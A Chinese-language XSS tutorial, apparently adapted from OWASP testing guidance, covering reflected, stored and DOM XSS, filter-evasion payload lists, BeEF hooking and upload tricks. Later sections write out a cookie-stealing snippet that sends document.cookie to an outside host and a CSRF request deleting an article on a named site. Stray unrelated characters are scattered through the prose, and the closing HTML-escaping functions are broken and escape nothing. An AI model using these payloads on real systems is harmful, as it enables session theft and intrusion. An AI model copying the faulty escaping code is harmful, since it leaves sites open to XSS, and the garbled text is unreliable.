-
什么是XSS
** 綜述
Cross-Site Scripting(XSS)是一類(lèi)注入問(wèn)題,惡意腳本被注入到健康的、可信任的網(wǎng)站旋廷。當(dāng)一個(gè)攻擊者通過(guò)一個(gè)網(wǎng)站應(yīng)用程序京郑,
以瀏覽器端腳本的形式,給另一端的用戶發(fā)送惡意代碼時(shí)瀑构,XSS攻擊就發(fā)生了裆针。允許這種攻擊成功的缺陷廣泛存在于各個(gè)大小網(wǎng)站,
只要這個(gè)網(wǎng)站某個(gè)頁(yè)面將用戶的輸入包含在它生成的動(dòng)態(tài)輸出頁(yè)面中并且未經(jīng)驗(yàn)證或編碼轉(zhuǎn)義寺晌,這個(gè)缺陷就存在世吨。
攻擊者使用XSS發(fā)送惡意腳本給一個(gè)不持懷疑態(tài)度的用戶,用戶端的瀏覽器沒(méi)法知道腳本可不可信呻征,從而執(zhí)行該js腳本耘婚。因?yàn)闉g覽器
認(rèn)為該腳本來(lái)自于一個(gè)可信賴(lài)的網(wǎng)站,導(dǎo)致惡意腳本可以訪問(wèn)任何cookies信息陆赋、會(huì)話令牌沐祷、或者其他由瀏覽器保存的但由那個(gè)網(wǎng)站
使用的敏感信息,甚至可以修改當(dāng)前網(wǎng)頁(yè)內(nèi)容奏甫。
存儲(chǔ)型XSS:存儲(chǔ)在數(shù)據(jù)庫(kù)戈轿,是永久的,除非數(shù)據(jù)庫(kù)被重置或者惡意語(yǔ)句被人工刪除阵子。攻擊者引導(dǎo)用戶到一個(gè)特定的頁(yè)面思杯。
反射型XSS:惡意腳本沒(méi)有存儲(chǔ)在遠(yuǎn)端的網(wǎng)站應(yīng)用中,需要社會(huì)工程學(xué)配合,比如通過(guò)郵件或聊天軟件發(fā)送鏈接色乾。主要用來(lái)竊取cookie誊册。** 跨站腳本發(fā)生在什么時(shí)候?
- 數(shù)據(jù)通過(guò)一個(gè)不可信的源暖璧,大多數(shù)時(shí)是一個(gè)頁(yè)面請(qǐng)求案怯,進(jìn)入網(wǎng)站應(yīng)用。
- 數(shù)據(jù)未經(jīng)驗(yàn)證是否含有惡意內(nèi)容澎办,就包含在動(dòng)態(tài)內(nèi)容中發(fā)送給網(wǎng)站用戶嘲碱。
發(fā)送到瀏覽器的惡意內(nèi)容通常以一段js腳本的形式存在,但也可能是html局蚀、flash或者任何其他可能被瀏覽器執(zhí)行的代碼麦锯。基于xss的攻擊是
多樣化沒(méi)有限制的琅绅,常見(jiàn)的有傳輸私密數(shù)據(jù)扶欣,像cookies或其他會(huì)話信息,對(duì)攻擊者而言千扶,重定向或引誘受害者到由攻擊者所控制的頁(yè)面料祠,或者
偽裝成可信賴(lài)網(wǎng)站,直接在用戶機(jī)器上執(zhí)行惡意操作澎羞。** 分類(lèi)
XSS攻擊通常被分為兩類(lèi):存儲(chǔ)型和反射型髓绽。還有第三類(lèi),不那么知名的煤痕,基于DOM的xss梧宫。- 存儲(chǔ)型 注入的腳本被永久的存儲(chǔ)在了目標(biāo)服務(wù)器中,比如數(shù)據(jù)庫(kù)摆碉、論壇帖子塘匣、訪問(wèn)日志、留言評(píng)論等巷帝。受害者向服務(wù)器請(qǐng)求獲取存儲(chǔ)的信息時(shí)忌卤, 就獲得了這些惡意腳本。存儲(chǔ)型XSS也被稱(chēng)為持久型或I-型XSS楞泼。 - 反射型 注入腳本從網(wǎng)站服務(wù)器被反彈回來(lái)驰徊,比如錯(cuò)誤消息、搜索結(jié)果堕阔、或者任何其他響應(yīng)(這些響應(yīng)完全或部分包含了用戶在瀏覽器輸入的內(nèi)容)棍厂。 反射型攻擊通過(guò)其他途徑傳遞到受害者,比如郵件超陆、或其他網(wǎng)站牺弹。當(dāng)用戶被引誘點(diǎn)擊惡意鏈接,提交一個(gè)特別構(gòu)造的表單、或?yàn)g覽一個(gè)惡意 站點(diǎn)张漂,注入腳本傳送到了脆弱站點(diǎn)并反射給用戶的瀏覽器晶默,瀏覽器認(rèn)為該鏈接來(lái)自一個(gè)可信的服務(wù)器就執(zhí)行了它。反射型XSS也稱(chēng)為非持久型 或II-型XSS航攒。 - DOM型 DOM型XSS又稱(chēng)0-型xss磺陡。攻擊者提交的惡意數(shù)據(jù)并未顯式的包含在web服務(wù)器的響應(yīng)頁(yè)面中,但會(huì)被頁(yè)面中的js腳本以變量的形式來(lái)訪問(wèn)到漠畜, 導(dǎo)致瀏覽器在渲染頁(yè)面執(zhí)行js腳本的過(guò)程中币他,通過(guò)DOM操作執(zhí)行了變量所代表的惡意腳本。這種也被歸類(lèi)為‘client-side xss’盆驹。 前兩類(lèi)xss攻擊中圆丹,服務(wù)器的響應(yīng)頁(yè)面中顯式的包含了惡意內(nèi)容,被歸類(lèi)為‘server-side xss’躯喇。
** 攻擊后果
無(wú)論是存儲(chǔ)型、反射型還是DOM型硝枉,攻擊后果都是相同的廉丽。不同點(diǎn)在于payload到達(dá)服務(wù)器的方式。不要愚蠢的認(rèn)為一個(gè)只讀的站點(diǎn)對(duì)反射型xss
是免疫的妻味。xss會(huì)引起一系列的問(wèn)題正压,嚴(yán)重程度從噪音干擾到完全的賬戶危害。大多數(shù)嚴(yán)重的xss攻擊涉及用戶回話cookie泄露责球,允許攻擊者劫持
用戶的會(huì)話從而接管賬戶焦履。其他破壞性攻擊包括終端用戶文件泄露、特洛伊木馬安裝雏逾、重定向用戶到其他頁(yè)面或站點(diǎn)嘉裤、或修改頁(yè)面內(nèi)容。xss弱點(diǎn)
引起的新聞稿或新聞條目被修改會(huì)影響公司股價(jià)或削弱消費(fèi)者信心栖博。一個(gè)醫(yī)藥站點(diǎn)的xss缺陷允許攻擊者修改劑量信息導(dǎo)致用藥過(guò)量屑宠。** 如何判斷網(wǎng)站是否脆弱
網(wǎng)站應(yīng)用中的xss缺陷是難以識(shí)別和移除的。最好的檢測(cè)和發(fā)現(xiàn)缺陷的方法就是進(jìn)行代碼的安全審計(jì)仇让,搜索所有可能的接收用戶數(shù)據(jù)輸入的地方典奉,
并且輸入的數(shù)據(jù)會(huì)顯示在網(wǎng)站服務(wù)器響應(yīng)的頁(yè)面中。請(qǐng)注意丧叽,各種不同的HTML標(biāo)簽可以用來(lái)傳輸惡意腳本卫玖。Nessus、Nikto等工具可以幫助我們
掃面網(wǎng)站的xss缺陷踊淳,但是不夠周祥和深刻假瞬。如果網(wǎng)站某一部分是可以入侵的,那么其他問(wèn)題也存在的可能性就很高。** xss防御
- 防御手冊(cè) https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- 自動(dòng)檢測(cè)dom缺陷的chrome插件 http://code.google.com/p/domsnitch/** 反射型xss測(cè)試
*** 概要
反射型注入攻擊發(fā)生在用戶打開(kāi)一個(gè)惡意構(gòu)造的鏈接或第三方網(wǎng)頁(yè)笨触,攻擊字符串包含在構(gòu)造的url中或者是http參數(shù)中懦傍,web應(yīng)用沒(méi)有
適當(dāng)?shù)奶幚聿⒎祷亟o受害者。
反射型的攻擊負(fù)載通過(guò)單一的請(qǐng)求和響應(yīng)被傳遞和執(zhí)行芦劣。如果一個(gè)網(wǎng)站存在xss缺陷粗俱,它會(huì)將請(qǐng)求中附帶的參數(shù)不經(jīng)驗(yàn)證的回傳給客戶端。
這種攻擊最常見(jiàn)的做法分兩步:設(shè)計(jì)虚吟,攻擊者創(chuàng)建和測(cè)試構(gòu)造的惡意鏈接寸认;社會(huì)工程學(xué),確信受害者會(huì)通過(guò)瀏覽器加載這個(gè)url并最終執(zhí)行串慰。
通常偏塞,攻擊代碼使用js編寫(xiě),但其他語(yǔ)言比如action script邦鲫、vb script等也會(huì)用到灸叼。攻擊者可以安裝鍵盤(pán)記錄器、竊取cookies庆捺、粘貼板古今、
改變頁(yè)面內(nèi)容(比如下載鏈接)。
預(yù)防xss漏洞的主要難點(diǎn)之一是合適的字符編碼滔以。一些情況下捉腥,web服務(wù)器不能過(guò)濾某些字符編碼,比如可以過(guò)濾‘<script>’你画,但是無(wú)法
過(guò)濾%3cscript%3e抵碟。*** 如何測(cè)試
**** 黑盒測(cè)試
黑盒測(cè)試至少包含3個(gè)階段:
- 1、探測(cè)輸入向量坏匪。每一個(gè)網(wǎng)頁(yè)拟逮,測(cè)試者必須判定網(wǎng)站應(yīng)用定義了哪些變量、如何輸入他們剥槐。這些變量也包含隱藏的或非顯式的輸入唱歧,比如
http參數(shù)、post數(shù)據(jù)粒竖、隱藏的表單字段颅崩、預(yù)定義的單選鈕或復(fù)選框的值。瀏覽器內(nèi)置的HTML編輯器或web代理可以用來(lái)審查這些隱藏的變量蕊苗。
- 2沿后、分析每個(gè)輸入向量去檢測(cè)潛在的漏洞。為了檢測(cè)潛在xss漏洞朽砰,測(cè)試者應(yīng)為每個(gè)輸入向量構(gòu)造特別的填充數(shù)據(jù)尖滚。測(cè)試數(shù)據(jù)可以通過(guò)模糊測(cè)試
工具生成喉刘,自動(dòng)生成預(yù)定義的攻擊字符串列表,或者人工漆弄。逃避xss過(guò)濾的攻擊列表睦裳。
- 3、對(duì)每個(gè)嘗試過(guò)的輸入撼唾,測(cè)試者根據(jù)反饋?lái)?yè)面判定是否它代表一個(gè)漏洞并對(duì)網(wǎng)站安全構(gòu)成實(shí)際威脅廉邑。這個(gè)需要檢查結(jié)果頁(yè)面并搜尋輸入的
數(shù)據(jù)。一旦找到倒谷,測(cè)試者就可識(shí)別出那些特別的未經(jīng)編碼蛛蒙、替換、過(guò)濾的數(shù)據(jù)渤愁。理想情況下牵祟,所有的HTML關(guān)鍵字都需要經(jīng)過(guò)html實(shí)體編碼。
做關(guān)鍵的幾個(gè)需要編碼的字符是:{< > & ' "}抖格。
**** XSS過(guò)濾繞過(guò)
請(qǐng)參考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet诺苹。
當(dāng)網(wǎng)站應(yīng)用清理輸入、網(wǎng)站應(yīng)用防火墻或?yàn)g覽器內(nèi)置的機(jī)制阻止惡意輸入時(shí)雹拄,反射型xss就會(huì)被阻攔筝尾。但是測(cè)試者必須假定瀏覽器不會(huì)
阻攔這類(lèi)攻擊,比如版本陳舊办桨、內(nèi)置安全功能被禁用等,并測(cè)試所有可能的漏洞站辉。類(lèi)似的呢撞,網(wǎng)站防火墻不能保證識(shí)別新奇的、未知的攻擊饰剥。
攻擊者能構(gòu)造防火墻無(wú)法識(shí)別的攻擊字符串殊霞。
因此,防御xss攻擊主要依賴(lài)網(wǎng)站應(yīng)用清理不可信任的用戶輸入汰蓉。有幾種清理辦法绷蹲,比如返回錯(cuò)誤、過(guò)濾或轉(zhuǎn)義關(guān)鍵字顾孽。同時(shí)這些預(yù)防手段
也造就了另外一個(gè)弱點(diǎn):黑名單不可能囊括所有可能的攻擊字符串祝钢、白名單可能過(guò)渡授權(quán),這時(shí)清理就會(huì)失敗若厚,導(dǎo)致某類(lèi)輸入被不正確的信任
并未被清理拦英。
**** 攻擊測(cè)試的例子
- http://example.com/index.php?user=<script>alert(123)</script>
- http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].; }</script>
- 標(biāo)簽屬性值
<input type="text" name="state" value="INPUT_FROM_USER">
" onfocus="alert(document.cookie)
- 不同的語(yǔ)法或編碼
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
- 非遞歸性過(guò)濾
<scr<script>ipt>alert(document.cookie)</script>
- 繞過(guò)正則過(guò)濾
模式串 $re = "/<script[^>]+src/i";
添加額外的屬性,繞過(guò) http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
- HTTP parameter pollution
https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
http參數(shù)污染测秸,查詢(xún)字符串或表單提交的參數(shù)中某個(gè)同名參數(shù)出現(xiàn)了多次疤估,apache等web服務(wù)器解析協(xié)議參數(shù)時(shí)的方式各異灾常,
網(wǎng)站應(yīng)用程序的各個(gè)組件所使用的參數(shù)值不一致。
** 存儲(chǔ)型XSS測(cè)試
*** 概述
存儲(chǔ)型XSS是最危險(xiǎn)的跨站腳本攻擊铃拇。網(wǎng)站應(yīng)用程序允許用戶存儲(chǔ)數(shù)據(jù)钞瀑,這類(lèi)網(wǎng)站就潛在的暴露在這類(lèi)攻擊面前。
當(dāng)網(wǎng)站應(yīng)用從用戶那里搜集輸入的數(shù)據(jù)慷荔,然后存儲(chǔ)起來(lái)以備后用雕什,但這些輸入沒(méi)有經(jīng)過(guò)正確的過(guò)濾,結(jié)果惡意數(shù)據(jù)被做為網(wǎng)站
頁(yè)面的一部分得以呈現(xiàn)拧廊,并運(yùn)行在用戶瀏覽器中且擁有網(wǎng)站應(yīng)用程序所屬用戶的權(quán)限监徘。
這種漏洞可以被用來(lái)實(shí)施基于瀏覽器的攻擊:
- 劫持用戶瀏覽器
- 捕獲用戶所瀏覽的網(wǎng)站敏感信息
- 對(duì)內(nèi)網(wǎng)主機(jī)進(jìn)行端口掃描
- 基于瀏覽器利用的定向投遞
存儲(chǔ)型xss不需要利用惡意鏈接,用戶訪問(wèn)某個(gè)加載了之前存儲(chǔ)的xss代碼的頁(yè)面時(shí)就會(huì)觸發(fā)吧碾。攻擊場(chǎng)景一般有下面幾個(gè)階段:
- 攻擊者存儲(chǔ)惡意代碼到由漏洞的頁(yè)面
- 用戶通過(guò)應(yīng)用程序的身份認(rèn)證
- 用戶訪問(wèn)漏洞頁(yè)面
- 惡意代碼被用戶的瀏覽器執(zhí)行
這類(lèi)攻擊可以結(jié)合瀏覽器利用框架比如beef凰盔、xss prox、backframe倦春。這些框架允許復(fù)雜的腳本利用開(kāi)發(fā)户敬。
當(dāng)訪問(wèn)漏洞頁(yè)面的用戶有比較高的權(quán)限時(shí),這類(lèi)攻擊特別危險(xiǎn)睁本。比如當(dāng)管理員訪問(wèn)漏洞頁(yè)面時(shí)尿庐,這類(lèi)攻擊就自動(dòng)被瀏覽器執(zhí)行。
這就可能暴露敏感信息比如會(huì)話令牌呢堰。
*** 如何測(cè)試
**** 黑盒測(cè)試
識(shí)別存儲(chǔ)型漏洞的過(guò)程和之前測(cè)試反射型漏洞類(lèi)似抄瑟。
***** 輸入表單
第一步是找出哪些地方的用戶輸入會(huì)被存儲(chǔ)到后端并會(huì)被渲染顯示在前端。典型的存儲(chǔ)用戶輸入的地方有:
- 用戶|配置枉疼,網(wǎng)站應(yīng)用允許用戶修改個(gè)人配置詳細(xì)信息皮假,比如姓名、昵稱(chēng)骂维、頭像惹资、地址等;
- 購(gòu)物籃航闺,
- 文件管理器褪测,應(yīng)用程序允許文件上傳
- 應(yīng)用程序偏好設(shè)置
- 論壇|消息面板,允許用戶之間互相發(fā)送消息
- 博客潦刃,允許用戶留言評(píng)論
- 日志侮措,如果網(wǎng)站應(yīng)用將某些用戶的輸入存進(jìn)日志
***** 分析HTML代碼
用戶輸入被網(wǎng)站應(yīng)用存儲(chǔ)后,一般會(huì)在顯示時(shí)當(dāng)做html標(biāo)簽的屬性值福铅。這一步中萝毛,最根本的是去理解輸入部分被渲染顯示時(shí),
在頁(yè)面上下文中是怎么被安放的滑黔。所有可能被管理員看到的輸入部分都需要被測(cè)試笆包。
比如环揽,后臺(tái)用戶管理中某個(gè)用戶的詳細(xì)信息,有郵件:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
這時(shí)庵佣,可以在<input>標(biāo)簽后面注入惡意代碼:
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
***** 試驗(yàn)是否可以注入
這就涉及輸入驗(yàn)證歉胶、后端的過(guò)濾規(guī)則。比如注入:
aaa@aa.com"><script>alert(document.cookie)</script>
aa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
為了保證注入的數(shù)據(jù)被提交巴粪,通常需要暫時(shí)禁用瀏覽器的js代碼執(zhí)行通今、或在本地代理的http編輯器中修改請(qǐng)求的原始數(shù)據(jù)。
但是提交后肛根,可能被網(wǎng)站應(yīng)用程序過(guò)濾辫塌,比如script被替換成了空格或者空串,這就是一個(gè)潛在的過(guò)濾信號(hào)派哲,當(dāng)然有很多規(guī)避
過(guò)濾的技術(shù)臼氨。
***** 利用存儲(chǔ)的注入代碼
存儲(chǔ)的惡意代碼可以被高級(jí)js利用框架利用,比如beef芭届、xss-proxy储矩、backframe。
一個(gè)典型的beef利用場(chǎng)景涉及:
- 注入一段js鉤子代碼褂乍,可以與攻擊者的瀏覽器利用框架通信
- 等待網(wǎng)站用戶訪問(wèn)漏洞頁(yè)面
- 通過(guò)beef控制臺(tái)控制網(wǎng)站用戶的瀏覽器
beef可以訪問(wèn)用戶的cookies持隧、屏幕截圖、剪貼板逃片、以及發(fā)起更復(fù)雜的xss攻擊屡拨。如果這個(gè)漏洞頁(yè)面會(huì)被擁有不同權(quán)限的用戶訪問(wèn),
那么這個(gè)攻擊是相當(dāng)有效的褥实。
***** 文件上傳
如果網(wǎng)站應(yīng)用允許文件上傳洁仗,需要檢測(cè)下是否可以上傳html內(nèi)容。如果html或txt文件被允許性锭,那么xss負(fù)載就可以被注入。
滲透測(cè)試人員應(yīng)該驗(yàn)證是否這個(gè)上傳點(diǎn)允許設(shè)置任意的MIME類(lèi)型叫胖。這個(gè)設(shè)計(jì)缺陷允許瀏覽器的MIME誤處理攻擊草冈。比如,看起來(lái)無(wú)害的
JPG和GIF文件包含xss負(fù)載瓮增,可能在被瀏覽器載入的時(shí)候得到執(zhí)行怎棱。這個(gè)是可能的,當(dāng)本應(yīng)設(shè)置MIME為image/gif時(shí)卻設(shè)置為text/html绷跑。
這種情況下拳恋,文件被客戶端瀏覽器創(chuàng)建為HTML。
偽造POST請(qǐng)求:
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html
<script>alert(document.cookie)</script>
** DOM型XSS測(cè)試
*** 概述
DOM型跨站腳本事實(shí)上是瀏覽器端的動(dòng)態(tài)內(nèi)容所引起的xss bug砸捏。典型的谬运,比如js隙赁,獲取用戶輸入并用它做了一些不安全的事情導(dǎo)致注入代碼
被執(zhí)行。本文只是討論 js bug 所引起的xss漏洞梆暖。
DOM伞访,全稱(chēng)為Document Object Model,是一種結(jié)構(gòu)化的格式轰驳,被用來(lái)表達(dá)瀏覽器中的文檔厚掷。DOM允許動(dòng)態(tài)腳本,比如js级解,來(lái)引用文檔中的
組件冒黑,比如表單字段、或會(huì)話令牌勤哗。DOM也被瀏覽器來(lái)實(shí)現(xiàn)安全策略抡爹,比如同源策略限制跨域DOM操作。當(dāng)動(dòng)態(tài)內(nèi)容俺陋,比如js函數(shù)被一個(gè)構(gòu)造的
請(qǐng)求修改豁延,dom元素可以被攻擊者控制,從而形成xss漏洞腊状。
很少有這方面的論文發(fā)表诱咏,因此它的含義和正規(guī)測(cè)試方法幾乎沒(méi)有標(biāo)準(zhǔn)的定義。
*** 如何測(cè)試
不是所有的xss bug都需要攻擊者去控制從服務(wù)器返回的動(dòng)態(tài)頁(yè)面缴挖,但是泛濫的愚蠢的js編碼會(huì)導(dǎo)致同樣的結(jié)果袋狞。
與其他類(lèi)型的xss漏洞(服務(wù)器未清理用戶提交的參數(shù),回傳給用戶瀏覽器端并得到執(zhí)行)相比映屋,dom-xss 可以控制代碼的執(zhí)行流程苟鸯。
大多數(shù)情況下,dom-xss可以在服務(wù)端不知情的情況下執(zhí)行棚点。比如:
<script>
document.write("Site is at: " + document.location.href + ".");
</script>
攻擊者追加#<script>alert('xss')</script>到頁(yè)面的url后面早处,當(dāng)執(zhí)行時(shí)會(huì)彈窗。這個(gè)例子中瘫析,追加的代碼不會(huì)被發(fā)送到服務(wù)端砌梆,因?yàn)?
后面的字符串根本沒(méi)有被瀏覽器當(dāng)做查詢(xún)字符串的一部分,而是作為一個(gè)錨標(biāo)記贬循,因而無(wú)需和服務(wù)器取得聯(lián)系咸包。
dom-xss的攻擊后果和其他更知名的xss攻擊一樣廣泛,cookies獲取杖虾、更進(jìn)一步的惡意腳本注入烂瘫,所以應(yīng)該被劃分到同樣的嚴(yán)重等級(jí)。
**** 黑盒測(cè)試
dom-xss的黑盒測(cè)試是不必要的奇适,因?yàn)榍岸说脑创a總是可見(jiàn)的坟比,瀏覽器需要從服務(wù)端那獲取并執(zhí)行芦鳍。
**** 灰盒測(cè)試
js應(yīng)用程序和其他的應(yīng)用程序有顯著的區(qū)別,因?yàn)樗麄兪怯煞?wù)端動(dòng)態(tài)產(chǎn)生的温算,為了理解什么代碼正在被執(zhí)行怜校,測(cè)試者需要爬行站點(diǎn)來(lái)
判定正在被執(zhí)行的腳本和哪些地方是接收用戶輸入的。許多站點(diǎn)依賴(lài)大量的庫(kù)函數(shù)注竿,伸展開(kāi)后有成百上千行代碼并且不是內(nèi)部開(kāi)發(fā)的茄茁。這種
情況下,自頂向下的測(cè)試常常是唯一可行的選擇巩割,因?yàn)樵S多底層的函數(shù)從沒(méi)用到過(guò)裙顽,從中分析哪些是弱點(diǎn)耗費(fèi)太多時(shí)間。對(duì)于自頂向下測(cè)試宣谈,
是否能識(shí)別哪些地方接收用戶輸入同樣至關(guān)重要愈犹。
用戶輸入來(lái)源有兩種形式:
- 服務(wù)端動(dòng)態(tài)寫(xiě)入,不允許直接的xss
- 客戶端腳本對(duì)象中獲取的變量
下面是服務(wù)端插入數(shù)據(jù)到j(luò)s腳本中的兩個(gè)例子:
var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");
下面是從客戶端js對(duì)象中獲取輸入的兩個(gè)例子:
var data = window.location;
var result = someFunction(window.referer);
對(duì)于js代碼來(lái)說(shuō)闻丑,兩種獲取輸入的方式基本沒(méi)有差異漩怎,重要的是當(dāng)從服務(wù)端獲取輸入時(shí),服務(wù)端能對(duì)數(shù)據(jù)應(yīng)用任何的排列組合嗦嗡,
然而js對(duì)象中獲取的輸入?yún)s很好理解勋锤。所以,如果上例中的js函數(shù)是弱點(diǎn)的話侥祭,前例中的漏洞利用依賴(lài)服務(wù)端的過(guò)濾叁执,后例中的
利用依賴(lài)于瀏覽器對(duì)window.referer對(duì)象的編碼。 參考 https://code.google.com/p/domxsswiki/wiki/LocationSources
另外矮冬,js腳本也常常會(huì)在script標(biāo)簽外部執(zhí)行谈宛,過(guò)去許多的攻擊向量都導(dǎo)致了xss攻擊已經(jīng)證實(shí)了這一點(diǎn)。所以胎署,在爬行站點(diǎn)時(shí)吆录,
留意諸如‘事件處理器’、‘帶有expression屬性的css語(yǔ)句塊’等這些地方的代碼是很重要的琼牧。
自動(dòng)化測(cè)試在識(shí)別和驗(yàn)證dom-xss漏洞時(shí)是很弱的径筏,因?yàn)樗麅H僅是發(fā)送特定的負(fù)載并嘗試審查服務(wù)器響應(yīng)的頁(yè)面。這個(gè)可能在一些
簡(jiǎn)單的例子中工作得比較好障陶,比如那些參數(shù)被反射回給用戶的情況:
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
但是下面不自然的例子無(wú)法被檢測(cè)到:
<script>
var navAgt = navigator.userAgent;
if (navAgt.indexOf("MSIE")!=-1) {
document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
document.write("You are using an unknown browser.");
}
</script>
基于這樣的原因,自動(dòng)化測(cè)試通常無(wú)法檢測(cè)dom-xss漏洞聊训,除非測(cè)試工具能對(duì)客戶端腳本執(zhí)行額外的分析抱究。
人工測(cè)試應(yīng)該進(jìn)行,檢查某些代碼區(qū)域带斑,那些區(qū)域中的參數(shù)對(duì)攻擊者而言是有用的鼓寺。比如勋拟,代碼被動(dòng)態(tài)寫(xiě)到頁(yè)面、dom樹(shù)被修改妈候、
甚至腳本被直接執(zhí)行敢靡。參考 http://www.webappsec.org/projects/articles/071105.shtml
- 可以往數(shù)據(jù)庫(kù)中寫(xiě)入數(shù)據(jù),如果能找到用戶評(píng)論或反饋表苦银,那就足夠了
-
將html和js代碼當(dāng)做字符串啸胧,使用十六進(jìn)制編碼,然后在sql注入點(diǎn)使用insert插入到該表幔虏。
在被攻擊頁(yè)面插入如下js即可纺念。
var img=document.createElement("img");
img.src="http://yourweb.com/listen?"+escape(document.cookie);
document.body.appendChild(img);
然后在web日志中可查看竊取的cookie信息如果,想讓某人刪除某篇文章想括,那么只需要讓某人執(zhí)行(CSRF)
var img=document.createElement("img");
img.src="http://www.myhack58.com/max/admin/admin_news.asp?action=del&id=8";(找到刪除文章的url替換之)
document.body.appendChild(img);
-
XSS攻擊試探
** 沒(méi)有任何過(guò)濾
<script>alert('xss')</script>
** 過(guò)濾關(guān)鍵字script陷谱,但大小寫(xiě)不敏感
<ScripT>alert('xss')</ScripT>
** 過(guò)濾了模式串<script,而且大小寫(xiě)敏感
<img src='xx' onerror=alert('xss')>
** 進(jìn)行了html編碼
沒(méi)得玩I凇Q萄贰!-
常見(jiàn)XSS攻擊代碼
** 錨標(biāo)記一句話執(zhí)行
<script>eval(location.hash.substring(1))</script></br>
** 續(xù)行铺根、冒號(hào)進(jìn)行html編碼
<a href="javasc
ript:alert(1)">click</a> </br>
** img標(biāo)簽帶上事件
<IMG “”><SCRIPT>alert('bask-slash no change to run')</SCRIPT>”></br>
<IMG “”><SCRIPT>alert('img1')</SCRIPT>”></br>
<IMG “”"><SCRIPT>alert('img2')</SCRIPT>”></br>
<IMG “”><SCRIPT>alert('img3')</SCRIPT>></br>
- js的unicode編碼宪躯,html十進(jìn)制、十六進(jìn)制編碼
<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded')"></br>
<img src="x" onerror="alert(1)"></br>
<img src="x" onerror="alert('html编码')"></br>
<script>\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded1111')</script>
** data中對(duì)網(wǎng)頁(yè)內(nèi)容進(jìn)行base64編碼夷都,比如 <img src=x onerror=alert('base64')>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdiYXNlNjQnKT4=">test</a></br>** js8進(jìn)制眷唉、16進(jìn)制編碼字符串變量
比如 "<img src="x" onerror="alert(1)"></br>"
document.body.innerHTML='\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x31\x36\x8fdb\x5236\x27\x29';
document.body.innerHTML=’\74\151\155\147\40\163\162\143\75\42\170\42\40\157\156\145\162\162\157\162\75\42\141\154\145\162\164\50\61\51\42\76\74\57\142\162\76‘;
抵御XSS
thinkphp框架中有表單提交數(shù)據(jù)的過(guò)濾囤官,默認(rèn)采用html實(shí)體編碼進(jìn)行轉(zhuǎn)義冬阳,就是所謂的I函數(shù)。
瀏覽器解釋器詞法分析遇到轉(zhuǎn)義的字符党饮,就認(rèn)為他是不可執(zhí)行的肝陪,然后接著去反轉(zhuǎn)義,接著當(dāng)做數(shù)據(jù)去顯示刑顺,沒(méi)有當(dāng)做js代碼去執(zhí)行氯窍。再解釋一次就可以得到執(zhí)行。
比如:在firebug中用元素審查蹲堂,隨便加個(gè)空格
post表單提交的漢字的傳輸編碼由<meta charset>指定狼讨,
>>> print '%r' % u'你'.encode('utf8')
'\xe4\xbd\xa0'
傳輸中為%e4%bd%a0
不過(guò)地址欄附加的url參數(shù),漢字默認(rèn)為gbk編碼柒竞,這里為%c4%e3政供,比如你在百度搜索框輸入"你被入侵了",然后查看地址欄url參數(shù)。
>>> print '%r' % u'你'.encode('gbk')
'\xc4\xe3'
抵御XSS攻擊布隔,只需做到兩點(diǎn):
1离陶、所有前端的頁(yè)面渲染,盡量使用ajax異步進(jìn)行衅檀,從后臺(tái)獲取要顯示的數(shù)據(jù)招刨。
2、前端提交過(guò)來(lái)的數(shù)據(jù)哀军,在后臺(tái)入口處統(tǒng)統(tǒng)對(duì)HTML中的關(guān)鍵字進(jìn)行html編碼轉(zhuǎn)義沉眶。
做到上面方可基本無(wú)憂。
/* 1.用正則表達(dá)式實(shí)現(xiàn)html轉(zhuǎn)碼 */
htmlEncodeByRegExp(str) {
let s = '';
if (str.length === 0) return '';
s = s.replace(/</g, '<');
s = s.replace(/>/g, '>');
s = str.replace(/&/g, '&');
s = s.replace(/ /g, ' ');
s = s.replace(/\'/g, '''); //eslint-disable-line
s = s.replace(/\"/g, '"'); //eslint-disable-line
return s;
},
/* 2.用正則表達(dá)式實(shí)現(xiàn)html解碼 */
htmlDecodeByRegExp(str) {
let s = '';
if (str.length === 0) return '';
s = s.replace(/</g, '<');
s = s.replace(/>/g, '>');
s = str.replace(/&/g, '&');
s = s.replace(/ /g, ' ');
s = s.replace(/'/g, "\'"); //eslint-disable-line
s = s.replace(/"/g, '"'); //eslint-disable-line
return s;
},
可使用 he 組件 來(lái)進(jìn)行轉(zhuǎn)碼